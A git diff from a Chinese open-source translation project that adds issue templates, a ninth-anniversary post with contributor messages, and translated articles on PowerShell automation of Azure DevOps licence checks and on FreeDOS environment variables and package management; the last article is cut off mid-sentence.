diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 0000000000..0086358db1 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1 @@ +blank_issues_enabled: true diff --git a/.github/ISSUE_TEMPLATE/questions.yml b/.github/ISSUE_TEMPLATE/questions.yml new file mode 100644 index 0000000000..5a3b8a2cee --- /dev/null +++ b/.github/ISSUE_TEMPLATE/questions.yml @@ -0,0 +1,18 @@ +name: Ask Questions | 提问 +description: Please describe your problem. | 请描述您的问题。 +labels: ["question"] +assignees: [] + +body: + - type: markdown + attributes: + value: | + Please answer these questions before you submit the desired feature. | 请在您提交期望的功能之前,回答以下这些问题 + + - type: textarea + attributes: + label: Your Questions + description: Please describe your problem. | 请描述您的问题。 + placeholder: I have a question... + validations: + required: true diff --git a/.github/ISSUE_TEMPLATE/topics.yml b/.github/ISSUE_TEMPLATE/topics.yml new file mode 100644 index 0000000000..d0887ac9d7 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/topics.yml @@ -0,0 +1,67 @@ +name: 推荐选题 +description: 推荐一个选题 +title: "[推荐类型] 文章日期 文章标题" +labels: [] +assignees: + - lkxed +body: + - type: markdown + attributes: + value: | + 标题请使用 **`[推荐类型] 文章日期 文章标题`** 格式,选题类型、文章日期和文章标题中间有一个 **空格**。 + + 完整示例: + - [推荐选题] 20220823 The Lost Art of the Makefile + - [推荐选题] 20220905 Linus Torvalds Uses Apple MacBook Hardware to Release Linux Kernel 5.19 + - type: input + id: url + attributes: + label: 原文链接地址 + description: 填写原文章的链接地址 + placeholder: https://...... + validations: + required: true + - type: dropdown + id: terms + attributes: + label: 版权协议 + description: 填写原文章的版权协议 + multiple: false + options: + - CC-SA-BY + - 其它公域许可证 + - 已获取作者授权 + validations: + required: true + - type: dropdown + id: difficulty + attributes: + label: 文章难度 + description: 选择文章的难度 + multiple: false + options: + - 困难 + - 一般 + - 容易 + validations: + required: true + - type: dropdown + id: category + attributes: + label: 文章分类 + description: 选择文章的分类 + multiple: false + options: + - 新闻(news) + - 观点(talk) + - 技术(tech) + validations: + required: true + - type: textarea + id: reason + attributes: + label: 推荐理由 + description: 填写你的推荐理由 + placeholder: + validations: + required: false diff --git a/lctt2022.md b/lctt2022.md new file mode 100644 index 0000000000..e9e2bc7ea5 --- /dev/null +++ b/lctt2022.md @@ -0,0 +1,42 @@ +开源贡献者翻译组 LCTT 九岁啦 +====== + +九年前,也是这个上午,我创建了 LCTT 及其第一个项目 [TranslateProject](https://github.com/LCTT/TranslateProject/)。从最初只是有感于 Unix/Linux 上的中文手册页实在太糟糕,希望做一些事情;到最后变成了一个以翻译国外各个开源社区的技术文章和开源资讯/讨论的“流水”式项目,LCTT 已经走过了令我自己都非常吃惊的九年。 + +人的一生,几十年而已,能在一件事上持续投入九年时光,这是我从未想过的事情。驻足回望,LCTT 其实并没有完成我最初的想法,这是缺憾;但是 LCTT 就这样变成了另外一种并非在我计划中的样子,或许也有其必然性。现在看来,LCTT 做了一些事情,也有一些存在的意义。我试着总结一下: + +LCTT 的主项目 TranslateProject,选题广泛,参与门槛低,从某种意义上,为初识开源的小伙伴提供一种成为开源贡献者的方式。一些人就是通过这个项目,迈出了成为开源贡献者的第一步,并在日后的学习和工作中,成为了开源爱好者、专业技术人员。 + +LCTT 持续翻译了数千篇(截至今日,已经翻译发布了 6395 篇文章),这些文章的专业程度横跨了入门到精通等不同难度,内容方向涉猎了开发、运维、使用和文化等各个方面。虽然,有些文章仅堪一读,但也有不少文章值得收藏、一再细读。我屡屡能从读者那里得到反馈,这些文章对他们提供了很大的帮助,我想这就是 LCTT 的存世价值之一吧。唯独可惜的是,这些文章,没有以很好的方式组织起来,甚憾。 + +LCTT 有数百成员(截至今日,成功地在仓库中进行了贡献的贡献者有 311 位),他们的年龄不等,最年轻的有初中的学生、最老的,嗯这个不需要说了;他们的职业各异,比较多的是大学生,也有很多从事技术工作的专业人员,甚至还有完全不从事技术工作的贡献者。但是,他们都有一个共同的身份就是 LCTT 贡献者,因此,他们都有很多开源兄弟姐妹。 + +按照惯例,每两年,我会写一篇 LCTT 总结。今年又快到这个时间了,我却有些不知道该如何下笔。恍惚间,我突然想到,LCTT 是一个贡献者组织,是大家的 LCTT,那么,为什么不让大家来为 LCTT 写两句话呢?于是,我在 LCTT 群内发起了号召,请诸位成员写写自己参与 LCTT 的经历、感受或收获,也可以是祝愿、建议。下面,是我收集到的其中一些成员的留言(以留言时的顺序列出): + +- **译者-acyanbird**:Linux 中国是我的开源引路人,让我有机会从零开始参与开源社区,认识到了开源精神,见到了世界的另一个可能性。也借此机会参与不少活动,认识了很多开源人士。目前在组长的帮助下,我也开始自己建立社区,十分感谢您给我这个机会~希望我们都越来越好,有更多的人也来一起参与开源 +- **译者-mandeler**:LCTT community forever! +- **译者-Kira-Pgr**:For a better open source world! +- **译者-mengxinayan**:LCTT 不仅可以用来锻炼翻译能力,同时有专人进行校对,能有效找到自身不足。此外还可以用来接触新知新方向,最重要的是可以培养自身英文阅读的习惯。Thanks LCTT! +- **译者-aftermath0703**:从 LCTT 我收获到了许多知识,有时间我就会去 GitHub 上读读新的文章,有更多时间我就会去翻译一篇。翻译过程中先自己翻译一遍,再用翻译网站翻译一遍,有偏差的地方相互比对,我觉得这对我的各项英语能力都有很大的帮助。希望 LCTT 蓬勃发展,越办越好! +- **译者-MFGJT**:虽然因为工作原因很久没有翻译了,但是还是每天在看微信公众号。感觉到大家都很努力,希望今年有机会继续参加翻译 🌹 +- **译者-stevending1st**:加入 LCTT 最大的惊叹是核心贡献者能够做到维护一个几百人的贡献者群体,背后是他们巨大的努力。希望能在 LCTT 不断学习,努力提升自己的能力。也祝愿 LCTT 越来越好。 +- **译者-aREversez**:作为一个学翻译的学生,能参与到 LCTT 这样一个项目,了解更多关于开源与技术的知识,见识更宽阔的世界和更深远的历史,让自己能尽己所能为开源贡献一份力量,实属荣幸之至。希望咱们社区能够一直繁荣下去,传播更加丰富多彩的开源技术与思想! +- **译者-mcfd**:LCTT 翻译的许多实用的技术文章,能够简明、易懂地为广大小白答疑解惑,扫除学习、日常中遇到的坑,间接且不断地为开源社区注入生机。清风不解凌云志,明月无声照九州​。 +- **核心-lkxed**:在裸辞考研失败之后,我曾一度陷入迷茫。偶然间读到老王写的《如何以翻译贡献参与开源社区》,决心加入进来。自此,我从一个连 Git 和 GitHub 都搞不大懂的小白,成长为一名熟练的译者,又成长为一名熟练的选题。踏踏实实地做好一件小事,每天如此,不正是对抗焦虑和迷茫的好办法吗?感谢开源,给了我这个成长的机会;感谢 LCTT,领着我敲开了开源的大门;感谢老王,在我困惑时指点迷津。祝愿 LCTT 越办越好,我们一路与你同行! +- **核心-bestony**:刚刚专门回到网站上看了一下,我参与 LCTT 已经 8 年了,8 年来,LCTT 见证了我从小透明到半透明,也经历了我人生的三分之一。希望在未来的时间里,我可以和 LCTT 共成长,也可以与 LCTT 共人生。 +- **核心-Locez**:今天是 LCTT 的生日,也是我的生日,一种奇妙的缘分。LCTT 是我接触 LC,接触开源以后第一个比较正式贡献的项目,对我来说意义比较非凡,重要的是通过这个项目在 LC 以及 LCTT 结识到了热爱分享的大家,特别是老王,viz,bestony 等人,很感谢大家在我学生时代起,就对我的一些耐心引导与帮助。 +- **译者-robsean**:科教兴国,实干兴邦 +- **译者-TravinDreek**:作为一位自由软件活动者,我主要从事技术伦理相关文章的翻译。我在 LCTT 的翻译动机,不止在于增进自己对当今技术伦理问题的认识,更在于让人们有机会了解到并利用自由(和开源)软件来应对这些问题。希望 LCTT 今后能在传播 FLOSS 方面起到更大的作用。Happy hacking. +- **译者-Wlzzzz-del**:之前备考考研时,偶然接触到 LCTT。为了多了解一些 Linux 知识,同时提高自己的英语水平,因此选择加入了 LCTT,这也是我第一次参与开源项目。虽然因为很多原因,翻译的文章不多,但是 LCTT 发布的文章我都会认真阅读。在未来我希望能多抽出时间来,参与到翻译活动中来。 +- **译者-Veryzzj**:今年年初在朋友的介绍下认识了 LCTT 并参与到了其中,仔细回想 LCTT 的意义于我是什么?是打破开源项目于我的神秘面纱,是从申领到翻译每一篇收获的成就感,是发布了文章感受到的正反馈,是在翻译群中和大家交流时的友好气氛。正是这些点滴,是我对抗生命无意义感的武器。我们用语言打破边界,也用语言拓宽世界。预祝 LCTT 越来越好! +- **译者-Chao-zhi**:加入 LCTT 已经六年了,我已经不记得自己是怎么加入 LCTT 了。但我一直记得我是通过 LCTT 的 wiki 学会使用 GitHub 的。也是通过 LCTT 慢慢了解开源世界的。希望能继续和 LCTT 一起成长。 +- **核心-MjSeven**:但愿 LCTT 长久,千里共婵娟 +- **译者-mudongliang**:LCTT 是早期我参与的开源项目,通过这个项目我学会了很多开源知识,熟练使用 Git 使用,为后期在内核项目贡献,奠定了坚实基础 😁 +- **译者-Northurland**:感谢 LC 治好了我的网友见面恐惧症(笑)。这是我在校园外参与的第一个项目,很感谢组长和 LC 的大家给予我这个机会。希望我们珍视的这个社区在未来能让更多人了解开源、参与开源。 + +说实话,LCTT 和 Linux 中国能走到今天,全赖这些贡献者的支持,这让我每每感觉吃力时,都有了不能放弃的理由。 + +那么,你是不是也想加入 LCTT 呢?很简单,访问 LCTT 官网:https://linux.cn/lctt/ 即可了解如何成为一名 LCTT 贡献者了。 + +最后,感谢大家九年来的支持和信任!顺祝大家中秋节、教师节快乐! + diff --git a/published/202111/20200207 Using Powershell to automate Linux, macOS, and Windows processes.md b/published/202111/20200207 Using Powershell to automate Linux, macOS, and Windows processes.md new file mode 100644 index 0000000000..876f79cc7c --- /dev/null +++ b/published/202111/20200207 Using Powershell to automate Linux, macOS, and Windows processes.md @@ -0,0 +1,176 @@ +[#]: collector: (lujun9972) +[#]: translator: (FigaroCao) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14011-1.html) +[#]: subject: (Using Powershell to automate Linux, macOS, and Windows processes) +[#]: via: (https://opensource.com/article/20/2/devops-automation) +[#]: author: (Willy-Peter Schaub https://opensource.com/users/wpschaub) + +使用 Powershell 来自动化 Linux、macOS 以及 Windows 流程 +====== + +> 自动化是 DevOps 的关键,但是,是否任何事都可以自动化? + +![](https://img.linux.net.cn/data/attachment/album/202111/23/123000eexe7iez7wsew72e.jpg) + +自动化控制了那些手工的、费力的和容易出错的过程,用运行自动化脚本的计算机代替了执行手工任务的工程师。每个人都认同手工流程是健康的 DevOps 模式的敌人。一些人认为自动化不是一件好事,因为它取代了辛勤工作的工程师,而另一些人则意识到它提高了一致性、可靠性和效率,节省了时间,(最重要的是)使工程师能够聪明地工作。 + +> “DevOps 并不只是自动化或者基础架构即代码。” — [Donovan Brown][2] + +自从上个世纪 80 年代早期开始使用自动化流程和工具链以来,每当我听到或读到“自动化一切”的建议时,我总是会激动不已。虽然在技术上可以实现一切自动化,但自动化是复杂的,并且需要付出开发、调试和维护方面的代价。如果你曾经重新启用一个许久不用的 Azure 资源管理器(ARM)模板或很久以前编写的宝贵维护脚本,并期望它在几个月或几年之后仍然能够完美地执行,那么你就会明白,自动化就像任何其他代码一样,是脆弱的,需要持续的维护和培养。 + +所以,你应该对什么进行自动化并在何时进行自动化? + + * 当你手动执行自动化流程超过一两次 + * 当你需要经常地持续地执行自动化流程 + * 自动化任何可被自动化的 + +更重要的是,什么是你不应该自动化的? + + * 不要自动化一次性的流程,因为不值得投入,除非你会重新使用它作为参考文档,并定期验证它的可用性 + * 不要自动化高度不稳定的流程,因为太复杂且昂贵 + * 不要自动化有问题的流程,在自动化前先修复它们 + +举例来说,我的团队使用我们通用的协作和工程系统来不断的监控数百个用户活动。如果一个用户在三个月或者更长时间处于非活动状态,并且这个用户被分配了一个昂贵的许可证,我们就会重分配这个用户一个功能少一些但是免费的许可证。 + +如图 1 所示,这是一个没有技术挑战性的流程。这是一个令人费解且容易出错的过程,尤其是在执行上下文时与其他开发和运维任务切换时。 + +![Manual process to switch user license][3] + +*图 1 手工流程切换用户许可证* + +顺带的,这里有一个用简单三步创建的价值流图的例子: + + 1. 可视化所有活动: 列出用户、过滤用户、重置许可证。 + 2. 确定利益相关者,即运营和授权团队。 + 3. 措施: + * 总交货时间(TLT)= 13 小时 + * 总周期时间(TCT) = 1.5 小时 + * 总效率百分比 = TLT/TCT*100 = 11.5% + +如果你在人群流量大和容易看到的区域挂一个这些可视化的副本,比如在你的团队的讨论区、餐厅,或在去洗手间的路上,你将引发大量的讨论和主动反馈。例如,从视觉上看,很明显,手工任务是一种浪费,主要是由于漫长的流程等待时间造成的。 + +让我们研究一个简单的 PowerShell 脚本,它可以自动化该流程,如图 2 所示,将总交付时间从 13 小时减少到 4 小时加 60 秒,并将总体效率从 11.5 提高到 12.75%。 + +![Semi-automated PowerShell-based process to switch user license][4] + +*图 2 半自动化的 PowerShell 脚本切换用户许可* + +[PowerShell][5] 是一种开源的基于任务的脚本语言。它可以在 [GitHub][6] 上找到。它构建在 .NET 上,允许你自动化 Linux、macOS 和 Windows 流程。具有开发背景的用户,特别是 C# 用户,将享受到 PowerShell 的全部好处。 + +下面的 PowerShell 脚本示例通过它的服务 [REST API][8] 与 [Azure DevOps][7] 进行通信。脚本结合了在图 1 中的手动列表用户和过滤用户任务,识别了 Demo 组织中的所有两个月没有活动的、使用基本许可证或更昂贵的基本+测试许可证的用户,并将用户的详细信息输出到控制台。很简单! + +首先,设置认证标头和其他变量,这些变量将在稍后的初始化脚本中使用: + +``` +param( + [string] $orgName = "DEMO", + [int] $months = "-2", + [string] $patToken = "" +) + +# Basic authentication header using the personal access token (PAT) +$basicAuth = ("{0}:{1}" -f "",$patToken) +$basicAuth = [System.Text.Encoding]::UTF8.GetBytes($basicAuth) +$basicAuth = [System.Convert]::ToBase64String($basicAuth) +$headers = @{Authorization=("Basic {0}" -f $basicAuth)} + +# REST API Request to get all entitlements +$request_GetEntitlements = "https://vsaex.dev.azure.com/" + $orgName + "/_apis/userentitlements?top=10000&api-version=5.1-preview.2"; + +# Initialize data variables +$members = New-Object System.Collections.ArrayList +[int] $count = 0; +[string] $basic = "Basic"; +[string] $basicTest = "Basic + Test Plans"; +``` + +接下来,使用此脚本查询所有授权,以识别不活动用户: + +``` +# Send the REST API request and initialize the members array list. +$response = Invoke-RestMethod -Uri $request_GetEntitlements -headers $headers -Method Get +$response.items | ForEach-Object { $members.add($_.id) | out-null } + +# Iterate through all user entitlements +$response.items | ForEach-Object { + $name = [string]$_.user.displayName; + $date = [DateTime]$_.lastAccessedDate; + $expired = Get-Date; + $expired = $expired.AddMonths($months); + $license = [string]$_.accessLevel.AccountLicenseType; + $licenseName = [string]$_.accessLevel.LicenseDisplayName; + $count++; + + if ( $expired -gt $date ) { + + # Ignore users who have NEVER or NOT YET ACTIVATED their license + if ( $date.Year -eq 1 ) { + Write-Host " **INACTIVE** " " Name: " $name " Last Access: " $date "License: " $licenseName + } + # Look for BASIC license + elseif ( $licenseName -eq $basic ) { + Write-Host " **INACTIVE** " " Name: " $name " Last Access: " $date "License: " $licenseName + } + # Look for BASIC + TEST license + elseif ( $licenseName -eq $basicTest ) { + Write-Host " **INACTIVE** " " Name: " $name " Last Access: " $date "License: " $licenseName + } + } +} +``` + +当你运行脚本时,你将得到以下输出,你可以将其转发给授权团队,以重置用户许可证: + +``` +**INACTIVE** Name: Demo1 Last Access: 2019/09/06 11:01:26 AM License: Basic +**INACTIVE** Name: Demo2 Last Access: 2019/06/04 08:53:15 AM License: Basic +**INACTIVE** Name: Demo3 Last Access: 2019/09/26 12:54:57 PM License: Basic +**INACTIVE** Name: Demo4 Last Access: 2019/06/07 12:03:18 PM License: Basic +**INACTIVE** Name: Demo5 Last Access: 2019/07/18 10:35:11 AM License: Basic +**INACTIVE** Name: Demo6 Last Access: 2019/10/03 09:21:20 AM License: Basic +**INACTIVE** Name: Demo7 Last Access: 2019/10/02 11:45:55 AM License: Basic +**INACTIVE** Name: Demo8 Last Access: 2019/09/20 01:36:29 PM License: Basic + Test Plans +**INACTIVE** Name: Demo9 Last Access: 2019/08/28 10:58:22 AM License: Basic +``` + +如果你将最后一步自动化,自动将用户许可设置为一个自由的利益相关方许可,如图3所示,你可以进一步将总体交付时间减少到65秒,并将总体效率提高到77%。 + +![Fully automated PowerShell-based process to switch user license][9] + +*图 3 完全自动化的基于 Powershell 的流程来切换用户许可证。* + +这个 PowerShell 脚本的核心价值不仅在于能够实现 _自动化_,还在于能够 _定期_、_持续_ 和 _快速地_ 执行这个流程。进一步的改进是使用 Azure 管道等调度器每周或每天触发脚本,但我将把程序化的许可证重置和脚本调度保留在未来的文章中。 + +这里有一个图表,可以直观地看到进展情况: + +![Graph to visualize progress][10] + +*图 4,措施,措施,措施* + +我希望你能喜欢这个简短的关于自动化、PowerShell、REST API 和价值流图的介绍。请在评论中分享你的想法和反馈。 + +------ + +via: https://opensource.com/article/20/2/devops-automation + +作者:[Willy-Peter Schaub][a] +选题:[lujun9972][b] +译者:[FigaroCao](https://github.com/FigaroCao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/wpschaub +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/cicd_continuous_delivery_deployment_gears.png?itok=kVlhiEkc (CICD with gears) +[2]: http://www.donovanbrown.com/post/what-is-devops +[3]: https://opensource.com/sites/default/files/uploads/devops_quest_to_automate_1.png (Manual process to switch user license) +[4]: https://opensource.com/sites/default/files/uploads/the_devops_quest_to_automate_everything_automatable_using_powershell_picture_2.png (Semi-automated PowerShell-based process to switch user license) +[5]: https://opensource.com/article/19/8/variables-powershell +[6]: https://github.com/powershell/powershell +[7]: https://docs.microsoft.com/en-us/azure/devops/user-guide/what-is-azure-devops?view=azure-devops +[8]: https://docs.microsoft.com/en-us/rest/api/azure/devops/?view=azure-devops-rest-5.1 +[9]: https://opensource.com/sites/default/files/uploads/devops_quest_to_automate_3.png (Fully automated PowerShell-based process to switch user license) +[10]: https://opensource.com/sites/default/files/uploads/devops_quest_to_automate_4.png (Graph to visualize progress) diff --git a/published/20200629 Scaling a GraphQL Website.md b/published/202111/20200629 Scaling a GraphQL Website.md similarity index 100% rename from published/20200629 Scaling a GraphQL Website.md rename to published/202111/20200629 Scaling a GraphQL Website.md diff --git a/published/202111/20210604 Set and use environment variables in FreeDOS.md b/published/202111/20210604 Set and use environment variables in FreeDOS.md new file mode 100644 index 0000000000..a35352042f --- /dev/null +++ b/published/202111/20210604 Set and use environment variables in FreeDOS.md @@ -0,0 +1,99 @@ +[#]: subject: (Set and use environment variables in FreeDOS) +[#]: via: (https://opensource.com/article/21/6/freedos-environment-variables) +[#]: author: (Jim Hall https://opensource.com/users/jim-hall) +[#]: collector: (lujun9972) +[#]: translator: (robsean) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-13995-1.html) + +在 FreeDOS 中设置和使用环境变量 +====== + +> 环境变量几乎在每种命令行环境中都是很有帮助的,自然包括 FreeDOS 。 + +![](https://img.linux.net.cn/data/attachment/album/202111/18/152155twzasgwwrzsmmvs2.jpg) + +几乎在每个命令行环境中的一个有用的功能是 _环境变量_。其中的一些变量允许你控制命令行的行为或功能,其它的变量仅允许你存储可能稍后需要的数据,在 FreeDOS 中也使用了环境变量。 + +### 在 Linux 上的变量 + +在 Linux 上,你可能已经熟悉其中的一些重要的环境变量。在 Linux 上的 [Bash][2] shell 中,`PATH` 变量标示着 shell 可以在哪里找到程序和命令。例如,在我的 Linux 系统上,我的  `PATH` 值如下: + +``` +bash$ echo $PATH +/home/jhall/bin:/usr/lib64/ccache:/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin +``` + +这意味着,当我输入一个像 `cat` 这样的命令的名称时,Bash 将会按顺序检查我在 `PATH` 变量中所列出的每个目录: + + 1. `/home/jhall/bin` + 2. `/usr/lib64/ccache` + 3. `/usr/local/bin` + 4. `/usr/local/sbin` + 5. `/usr/bin` + 6. `/usr/sbin` + +在我的实例中,`cat` 命令位于 `/usr/bin` 目录,因此,完整的路径是 `/usr/bin/cat` 。 + +为在 Linux 上设置一个环境变量,你可以输入一个变量的名称,接着输入一个等于符号(`=`),接着输入一个要存储在变量中的值。为了随后使用 Bash 引用这个值,你需要在变量的名称前输入一个美元符号(`$`)。 + +``` +bash$ var=Hello +bash$ echo $var +Hello +``` + +### 在 FreeDOS 上的变量 + +在 FreeDOS 上,环境变量提供一种类似的功能。一些变量控制 DOS 系统的行为,另一些变量用于存储一些临时值。 + +为在 FreeDOS 上设置一个环境变量,你需要使用 `SET` 关键字。FreeDOS 是 _不区分大小写的_ ,因此你可以输入大写字母也可以使用小写字母。接下来,像你在 Linux 上一样设置变量,使用变量名称,一个等于符号(`=`),你想要存储的值。 + +不过,在 FreeDOS 中引用或 _扩展_ 一个环境变量的值的方法,与你在 Linux 上所使用的方法是完全不同的。在 FreeDOS 中,你不能使用美元符号(`$`)来引用一个变量。你反而需要使用百分符号 (`%`)来包围变量的名称。 + +![Use % (not $) to reference a variable's value][3] + +在名称前后使用百分符号是非常重要,因为这就是 FreeDOS 知悉变量名称在哪里开始和结束的方式。这是非常有用的,因为它会允许你引用一个变量的值,与此同时,它会立即附加(或预置)其它的文本到值中。让我通过设置一个新的名称为 `reply` 的值为 `yes` 的变量,然后在 “11” 之前和 “22” 之后引用这个值来演示这一点: + +![Set and reference an environment variable][5] + +因为 FreeDOS 是不区分大小写的,所以你可以使用大写字母称或小写字母的变量名称以及 `SET` 关键字。不过,变量的值将使用你在命令行中所输入的字母。 + +最后,你可以看到当前在 FreeDOS 中定义的所有的环境变量。不使用任何参数的 `SET` 关键字将显示所有的变量,因此你可以一目了然: + +![Show all variables at once with SET][6] + +环境变量是一个有用的基本的命令行环境,同样适用于 FreeDOS 。你可以设置你自己的变量以满足你自己的需要,但是要仔细地更改 FreeDOS 使用的一些变量。这些变量会更改你正在运行的 FreeDOS 系统的行为: + + * `DOSDIR`:FreeDOS 安装目录的位置,通常是 `C:\FDOS` + * `COMSPEC`:FreeDOS 的 shell 的当前实例,通常是 `C:\COMMAND.COM` 或 `%DOSDIR%\BIN\COMMAND.COM` + * `LANG`:用户的首选语言 + * `NLSPATH`:系统语言文件的位置,通常是 `%DOSDIR%\NLS`  + * `TZ`:系统的时区 + * `PATH`:一个目录列表,FreeDOS 可以在其中找到要运行的程序,例如 `%DOSDIR%\BIN` + * `HELPPATH`:系统文档文件的位置,通常是 `%DOSDIR%\HELP` + * `TEMP`:一个临时目录,FreeDOS 在其中存储来自每个命令的输出,如同它在命令行上的程序之间的 “管道” 数据 + * `DIRCMD`:一个控制 `DIR` 命令如何显示文件和目录的变量,通常设置 `/OGNE` 来排序(`O`)内容,先通过分组(`G`)目录,接下来按照名称(`N`) 、扩展名(`E`)来排序条目 + +如果你偶然间更改了任意的 FreeDOS 的 “内部” 变量,你可能会阻碍 FreeDOS 的一些部分的正常工作。在这种情况下,只需要简单地重新启动你的计算机,FreeDOS 将会按照系统默认值重新设置变量。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/6/freedos-environment-variables + +作者:[Jim Hall][a] +选题:[lujun9972][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/career_journey_road_gps_path_map_520.png?itok=PpL6jJgY +[2]: https://opensource.com/article/19/8/using-variables-bash +[3]: https://opensource.com/sites/default/files/uploads/env-path.png +[4]: https://creativecommons.org/licenses/by-sa/4.0/ +[5]: https://opensource.com/sites/default/files/uploads/env-vars.png +[6]: https://opensource.com/sites/default/files/uploads/env-set.png \ No newline at end of file diff --git a/published/20210607 Automate tasks with BAT files on FreeDOS.md b/published/202111/20210607 Automate tasks with BAT files on FreeDOS.md similarity index 100% rename from published/20210607 Automate tasks with BAT files on FreeDOS.md rename to published/202111/20210607 Automate tasks with BAT files on FreeDOS.md diff --git a/published/202111/20210610 Install and remove software packages on FreeDOS.md b/published/202111/20210610 Install and remove software packages on FreeDOS.md new file mode 100644 index 0000000000..06790852f2 --- /dev/null +++ b/published/202111/20210610 Install and remove software packages on FreeDOS.md @@ -0,0 +1,106 @@ +[#]: subject: (Install and remove software packages on FreeDOS) +[#]: via: (https://opensource.com/article/21/6/freedos-package-manager) +[#]: author: (Jim Hall https://opensource.com/users/jim-hall) +[#]: collector: (lujun9972) +[#]: translator: (robsean) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14031-1.html) + +在 FreeDOS 上安装和移除软件包 +====== + +> 熟悉 FreeDOS 软件包管理器 FDIMPLES 。 + +![](https://img.linux.net.cn/data/attachment/album/202111/29/122823yhv0mg03v3mhr0cc.jpg) + +在 Linux 上,你可能已经使用过 “软件包管理器” 来安装或移除软件包。例如,在 Debian Linux 上的默认软件包管理器是 `deb` 命令,在 Fedora Linux 上的默认软件包管理器是 `dnf` 命令。 但是你知道 FreeDOS 也有一个软件包管理器吗? + +### 安装软件包 + +FreeDOS 1.3 RC4 发行版包含了很多极好的你可以使用的程序和应用程序。不过,我们不会默认安装其中的全部的程序 —— 我们不想过度地填充你的硬盘驱动器空间,尤其是在一个较老的系统上,可能仅有几百兆字节容量的硬盘驱动器。当你安装 FreeDOS 时,如果你选择 “Plain DOS system” 选项,你将发现你的 FreeDOS 系统是非常小的(大约 20 MB 大小)。 + +不过,要安装新的软件包很容易。在命令行中运行 `FDIMPLES` 程序。因为 DOS 是 _不区分大小写_ 的,所以,你可以使用大写字母或小写字母来输入这个命令: `fdimples` 。(`fdimples` 与 `FDIMPLES` 或 `FDImples` 等同) + +![fdimples][2] + +*在 FreeDOS 1.3 RC4 上的 FDIMPLES 软件包管理器(运行在 QEMU 之中)(Jim Hall, [CC-BY SA 4.0][3])* + +FDIMPLES 是 "**F**ree**D**OS **I**nstaller - **M**y **P**ackage **L**ist **E**ditor **S**oftware" 的首字母缩略词,是一个交互式软件包管理器。FDIMPLES 读取安装介质来识别可以安装或移除的软件包。如果你看到一个不同的菜单,它显示 “Installed!” ,但是,不让你安装其它的软件的话,请检查你系统中是否有 FreeDOS 的 CD-ROM 的安装介质。在物理机器上,你将需要将 CD-ROM 插入 CD-ROM 驱动器;在诸如 QEMU 或 VirtualBox 之类的虚拟机器上,你需要将安装 FreeDOS 的 CD-ROM 的安装介质与虚拟机器关联在一起。 + +![fdimples installed][4] + +*如果你仅看到一条 “Installed!” 的信息,检查 CD-ROM 是否已经加载(Jim Hall, [CC-BY SA 4.0][3])* + +让我们假设你想安装一些可以让你听音乐文件或其它声音文件的软件。使用向上箭头和向下箭头按键来导航到菜单中的 **声音工具** 项。这是一个针对声音和音乐程序的 _软件包组_ 。 + +![fdimples sound][5] + +*在 FDIMPLES 中突出显示声音软件包组(Jim Hall, [CC-BY SA 4.0][3])* + +要选择这个组中的所有软件包,在你的键盘上按下空格键。如果你决定安装这个组中的某个软件包,按下 `Tab` 按键来移动到 _软件包列表_ 方框面板,接下来使用空格键来选择每个软件包。 + +![fdimples sound select][6] + +*通过按下空格键来选择一个组中的所有的软件包(Jim Hall, [CC-BY SA 4.0][3])* + +你可以继续选择你想要安装的其它的软件包或软件包组。当你选择好一切的东西后,使用 “Tab” 按键来高亮显示 “OK” 按键,并按下空格键按键。 + +![fdimples sound select ok][7] + +*当你准备好安装时,突出显示 “Ok” 按钮(Jim Hall, [CC-BY SA 4.0][3])* + +`FDIMPLES` 接下来会安装你所选择的所有的软件包。如果你仅选择几个小型的软件包,这可能只需要花费片刻的时间,或者,如果你要求安装很多大型的软件包,它可能会花费数分钟的时间。当 `FDIMPLES` 安装每个软件包时,`FDIMPLES` 会输出安装状态。在安装完后,`FDIMPLES` 退出到命令行之中,以便你可以回去继续工作。 + +![fdimples sound install done][8] + +*当 FDIMPLES 安装软件包时,FDIMPLES 会显示安装过程,并在完成安装后自动地退出(Jim Hall, [CC-BY SA 4.0][3])* + +### 移除软件包 + +如果你安装了一个软件包,但是后来发现你不想要它了怎么办?在 `FDIMPLES` 中移除软件包也同样容易。 + +就像安装软件包一样,启动 `FDIMPLES` ,使用箭头键导航到包含你想要移除的软件包的组。例如,如果我想卸载一些我先前安装的音乐播放器软件包,我将导航到 “Sound Tools” 软件包组。 + +![fdimples sound select][9] + +*导航到你想要移除的软件包组(Jim Hall, [CC-BY SA 4.0][3])* + +为一次移除整个软件包组,你可以在你想要移除的软件包组上按下空格键来取消选择它们。但是,在这里让我们假设我只是想移除几个我不需要的软件包,像音频 CD 播放器 “CDP”。(我没有任何的真实的音乐 CD 光盘)。为移除 CDP ,敲击 `Tab` 按键来移动到软件包列表方框面板,接下来使用空格键来取消选择 CDP 软件包。这会在该软件包上移除 “X” 标志。 + +![fdimples unselect cdp][10] + +*取消选择一个软件包来移除它(Jim Hall, [CC-BY SA 4.0][3])* + +你可以继续取消选择你想要移除的其它的软件包或软件包组。当你选择一切的东西后,使用 `Tab` 按键来突出显示 “OK” 按钮,并按下空格键按键。`FDIMPLES` 将移除你取消选择的软件包,然后自动地返回到命令行之中。 + +![fdimples cdp removed][11] + +*FDIMPLES 移除软件包,然后返回到命令行之中(Jim Hall, [CC-BY SA 4.0][3])* + +在 FreeDOS 中。我们包含很多的软件包,遍及各种各样的软件包组。使用 `FDIMPLES` 